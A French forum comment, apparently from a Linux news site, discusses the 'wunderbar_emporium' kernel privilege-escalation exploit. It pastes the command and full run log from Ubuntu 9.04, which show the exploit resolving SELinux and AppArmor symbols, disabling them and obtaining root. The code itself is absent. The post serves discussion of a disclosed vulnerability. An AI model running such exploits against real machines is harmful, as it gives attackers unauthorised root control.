• [^] # Re: Pulse Audio

    Posté par . En réponse au journal Encore un trou de sécurité, encore Brad qui s'amuse.... Évalué à 5.

    J'ai regardé en vitesse l'exploit et j'ai l'impression qu'il y a en fait deux exploits différents (lancés par le script shell suivant la machine).
    Apparement il faut pulseaudio si SELinux est installé, mais sinon pas besoin.

    Sur une ubuntu 9.04, sans pulseaudio, l'exploit fonctionne quand même :

    ~/tmp/wunderbar_emporium$ ./wunderbar_emporium.sh
    [+] MAPPED ZERO PAGE!
    [+] Resolved selinux_enforcing to 0xc08653bc
    [+] Resolved selinux_enabled to 0xc08653b8
    [+] Resolved apparmor_enabled to 0xc06a0d84
    [+] Resolved apparmor_complain to 0xc0866fb8
    [+] Resolved apparmor_audit to 0xc0866fc0
    [+] Resolved apparmor_logsyscall to 0xc0866fc4
    [+] Resolved security_ops to 0xc0863b60
    [+] Resolved default_security_ops to 0xc069fb40
    [+] Resolved sel_read_enforce to 0xc0293a70
    [+] Resolved audit_enabled to 0xc0822564
    [+] got ring0!
    [+] detected 2.6 style 8k stacks
    (.... mplayer ...)
    [+] Disabled security of : nothing, what an insecure machine!
    [+] Got root!